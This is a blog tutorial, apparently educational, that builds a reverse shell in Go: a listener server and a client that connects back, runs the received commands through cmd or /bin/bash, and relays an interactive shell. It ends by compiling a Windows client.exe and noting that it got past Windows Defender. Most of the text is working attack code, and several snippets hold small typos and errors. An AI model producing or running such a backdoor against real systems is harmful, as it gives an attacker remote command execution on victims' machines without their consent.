This blog is for educational purpose only.
Server
To start off, our server need following functionality:
- Listen for tcp connection
- Read command from stdin
- Send command to client
Listen for tcp connection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| func main() {
// Initialize tcp listener on port 8888
ln, err := net.Listen("tcp", ":8888")
if err != nil {
log.Fatal(err)
}
// Log every connection if any
for {
fmt.Printf("[+] Waiting for connection on %s\n", ln.Addr().String())
conn, err := ln.Accept()
if err != nil {
log.Fatal(err)
}
fmt.Printf("[+] Connection from %s\n", conn.RemoteAddr())
}
}
|
Let’s test our server with netcat
Read command from stdin
Create a new function called input
, takes in a string, return what we have inputed, but in type []byte instead of string. Because to write data to the connection, it need type []byte.
Using bufio.NewScanner()
, it will strip the \n
at the end.
1
2
3
4
5
6
7
8
9
| for input(p string) []byte {
fmt.Printf(p)
scanner := bufio.NewScanner(os.stdin)
scanner.Scan()
if err := scanner.Err(); err != nil {
log.Fatal(err)
}
return scanner.Bytes()
}
|
Send command to client
With the text we type in the terminal, we’re going to send it to the client, using variable conn
in the main fucntion. conn
is type of net.Conn
, it represent the connection between the client and the server.
Let’s add a function handler()
that operates on the conn
in main function.
1
2
3
4
5
6
7
8
| func main() {
...
for {
...
fmt.Printf("[+] Connection from %s\n", conn.RemoteAddr())
+ handler(conn)
}
}
|
Function hanlder
will wait for our input using input()
, send them to the client using conn.Write()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| func hanlder(conn net.Conn) {
// defer function will be called when the function returns.
// In this case, it will close the connection and print the message
defer func() {
conn.Close()
fmt.Printf("[-] Connection to %s closed\n", conn.RemoteAddr())
}()
// Write out input to client, if the input is "exit" then stop the loop
for {
cmd := input(">> ")
conn.Write(cmd)
if bytes.Equal(cmd, []byte("exit")) {
break
}
}
}
|
Again, let’s test is out using netcat
Client
Great! Now we have a server can send the commands as we type, next is to build a client that:
- Connect to server using tcp
- Receive command from server
- Perfrom specific action based on server’s command
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| func main() {
// Connect to server
host := "127.0.0.1:8888"
conn, err := net.Dial("tcp", host)
if err != nil {
fmt.Printf("[-] Tcp Errpr %v\n", err)
return
}
defer conn.Close()
fmt.Printf("[+] Connected to %s!\n", host)
// Loop reading commands from server and print it out.
for {
// Read data into variable buf which has size of 4096 byte
// Attention here when initializing []byte this way, it will create
// An []byte with 4096 0s -> [0,0,0...]
buf := make([]byte, 4096)
_, err := conn.Read(buf)
if err != nil {
log.Fatal(err)
}
fmt.Printf("Server: %s\n", buf)
// Exit the loop when server send "exit"
// bytes.Equal(buf, []byte("exit")) will return false
// as []byte("exit") only has 4 byte without [0,0,0...] at behind.
// Use bytes.Trim() will get rid of all byte '0' in buf
if bytes.Equal(bytes.Trim(buf,"\x00"), []byte("exit")) {
fmt.Printf("[-] Close connection!\n")
break
}
}
}
|
After testing the client/server, it works as we intended.
- Server that can send data
- Client that connects to server and accept data
- Client exit program when server send
exit
The communication now can be simplified as one way communication Server -> Client
:
- Server send data to client.
For our next feature, to execute command, we need to implement two-way communication Server <-> Client
to execute command and get results back:
- Server send command
- Client execute command and send result back to Server
- Server recieve the result and print it out
Client - execute command
First add one condition to decide if the server wants to execute command, if server sends cmd
, the client will wait for the next command the server send, execute them and print it out
1
2
3
4
5
6
7
8
9
10
11
12
13
| if bytes.Equal(bytes.Trim(buf, "\x00"), []byte("exit")) {
...
} else if bytes.Equal(bytes.Trim(buf, "\x00"), []byte("cmd")) {
// use a new variable to store the commands from server
cmdbuf := make([]byte, 4096)
_, err := conn.Read(cmdbuf)
if err != nil {
log.Fatal(err)
}
// execute command using cmd() and print the result
cmdout := cmd(cmdbuf)
fmt.Printf("%s\n", out)
}
|
Next, let’s write our cmd()
, to execute command in golang, we will use the built-in os.exec()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| func cmd(buf []byte) []byte {
// Construct out command based on the system
var cmd *exec.Cmd
if runtime.GOOS == "windows" {
cmd = exec.Command("cmd", "/c", string(bytes.Trim(buf, "\x00")))
} else {
cmd = exec.Command("/bin/bash", "-c", string(bytes.Trim(buf, "\x00")))
}
// log the executed command after the func return
defer func() {
fmt.Printf("[+] cmd: %s\n", cmd.String())
}()
// Retrive the stdout and stderr after the command execution
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
fmt.Printf("String: %s\n", cmd.String())
log.Fatalf("cmd.Run() failed with %s\n", err)
}
// return the stdout and stderr together
return append(stdout.Bytes(), stderr.Bytes()...)
}
|
Server - execute command
Client’s code is ready, now let’s update our server by adding an if condition for command execution in func handler()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| if bytes.Equal(cmd. []byte("exit")) {
return
} else if bytes.Equal(cmd, []byte("cmd")) {
// Change prompt for input the command to be executed in client
command := input("[Command] > ")
conn.Write(command)
// Retrive the output from client
buf := make([]byte, 4096)
_, err := conn.Read(buf)
if err != nil {
log.Fatal(err)
}
fmt.Printf("%s", buf)
}
|
Let’ test our program. The command is executed and we got the result back
Server - shell
We improved our code to be able to execute a single command one at a time. Next we are going to build functionality that gives us an interactive shell.
In the above example, to order to execute command, our server’s logic are
- Enter command after
[Command] >
, send to client - Read output from client once, print it out
- Back to the start of the loop
In step 2, if the client send data multiple times, server will only read once, which is not suitable for our interactive shell.
To solve this, we need to use goroutine, which is the thread for golang. In order to start an interactive shell, the logic will be
- Continuely Read output from client in the background (goroutine)
- Wait for the commands which is the user’s input
- Send commands to client
Because in step 1, we make the server listen for client’s output IN BACKGROUND, anytime the client send data to server, it will be captured. Server’s handler()
would be updated by adding an else if
condition
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| if bytes.Equal(cmd, []byte("exit")) {
...
} else if bytes.Euqal(cmd, []byte("shell")) {
fmt.Printf("[+] Start interactive shell...\n")
// context is used to notify goroutine to stop
ctx,cancel := context.WithCancel(context.Background())
// Whenever client sends data to server, get the data and print it out
go func() {
for {
select {
// cancel() will notify ctx.Done()
// so when the user enter "exit", this goroutine will stop
case <-ctx.Done():
return
default:
shellbuf := make([]byte, 4096)
_, err := conn.Read(shellbuf)
if err != nil {
log.Fatal(err)
}
fmt.Printf("%s", shellbuf)
}
}
}()
// send user's input to client
for {
command := input("")
conn.Write(command)
// if "exit", break the loop and stop the goroutine as well
if bytes.Equal(command, []byte("exit")) {
cancel()
break
}
}
}
|
Client - shell
On client’s side, we need to recv
the command from server, send
the result back
Once we have our command, to interactively execute command, we need to use pipe of stdin
, stdout
, stderr
,
we write command to stdin
pipe, and get the output from stdout
and stderr
pipe
1
2
3
4
5
| cmd := exec.Command("/bin/bash")
stdin, _ := cmd.StdinPipe()
stdout, _ := cmd.StdoutPipe()
stderr, _ := cmd.StderrPipe()
cmd.Run()
|
In above code example, it’s different from how we execute command before. In this way, cmd.Run()
will hang waiting for its stdin
,
and whenever we write into stdin, it will be executed by /bin/bash
, output will be automatically piped into stderr
and stdout
.
cmd.Run()
will be stopped when the stdin
is exit\n
because it will exit the current shell /bin/bash
The logic for client shell should be
- Whenever there’s server’s command,
recieve
it and write it to stdin
- Whenever there’s command’s
stdout/stderr
, send
them to server
I use Whenever to address that we’re going to use goroutine.
We can see from the image that recv
and send
will be set at the middle of different goroutine,
for ease of communication between different goroutines or threads you may call it, golang provides us with chan
type,
which can wait for a value and return a value to other variable
First let’s add a if condition for shell
1
2
3
4
5
6
7
8
| if bytes.Equal(bytes.Trim(buf, "\x00"), []byte("exit")){
...
} else if bytes.Equal(bytes.Trim(buf, "\x00"), []byte("shell")) {
// Initialize two channel that holds type []byte
send := make(chan []byte)
recv := make(chan []byte)
netshell(conn, send, recv)
}
|
Next implement netshell()
which have two goroutines, one for reading server’s command to recv
, one for reading command’s output from send
and send it to server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
| func netshell(conn net.Conn, send chan []byte, recv chan []byte) {
// log to terminal when this function start and return
fmt.Printf("[+] Start net shell\n")
ctx, cancel := context.WithCancel(context.Background())
defer func() {
cancel()
fmt.Printf("[*] Exiting net shell\n")
}()
// Goroutine that read from server and write it to channel recv
go func() {
for {
buf := make([]byte, 4096)
conn.Read(buf)
command := bytes.Trim(buf, "\x00")
fmt.Printf("[*] read: %s, len %d\n", command, len(command))
// Exit this goroutine and call ctx.Done() to shut down the goroutine below
if bytes.Equal(command, []byte("exit")) {
recv <- []byte("exit\n")
ctx.Done()
return
}
recv <- command
}
}()
// Goroutine that read from channel send and send the result to server
// If the function returns, meaning the cmd.Run() exit
// then shut down this goroutine
go func() {
for {
select {
case <-ctx.Done():
return
case outgoing := <-send:
conn.Write(outgoing)
}
}
}()
// Check windows/linux
shellpath := "/bin/bash"
if runtime.GOOS == "windows" {
shellpath = "cmd"
}
reverseShell(shellpath, send, recv)
}
|
Finally we complete this program by finishing the revershell()
, where we will deal with stdin
, stdout
,stderr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
| func reverseShell(path string, send chan<- []byte, recv <-chan []byte) {
// When the function return, which means cmd.Run() is finished
// notify all goroutines to close
ctx, cancel := context.WithCancel(context.Background())
defer func() {
cancel()
}()
cmd := exec.Command(path)
stdin, _ := cmd.StdinPipe()
stdout, _ := cmd.StdoutPipe()
stderr, _ := cmd.StderrPipe()
// for stdin:
// 1. Get commands from channel recv
// 2. Write the commands to stdin pipe
go func() {
for {
select {
case input := <-recv:
stdin.Write(append(input, byte('\n')))
case <-ctx.Done():
return
}
}
}()
// for stdout:
// 1. Pipe stdout to buf
// 2. Send buf to channel send
bufsize := 4096
go func() {
for {
select {
case <-ctx.Done():
return
default:
buf := make([]byte, bufsize)
stdout.Read(buf)
send <- buf
}
}
}()
// for stderr:
// 1. Pipe stderr to buf
// 2. Send buf to channel send
go func() {
for {
select {
case <-ctx.Done():
return
default:
buf := make([]byte, bufsize)
stderr.Read(buf)
send <- buf
}
}
}()
cmd.Run()
}
|
Now let’s see what our final program looks like
Great! It does what we intended, now it’s the exciting moment to see how Windows Defender thinks of our program
Don’t forget to change the IP
in the client.go!
let’s build executable for windows called client.exe
and start of our server
1
2
| GOOS=windows GOARCH=amd64 go build -o client.exe client/client.go
go run server/server.go
|
Transfer it to windows machine and run it… And it works. This is a showcase program, which has a lot to improve. However, it do completed the purpose of this article
Reference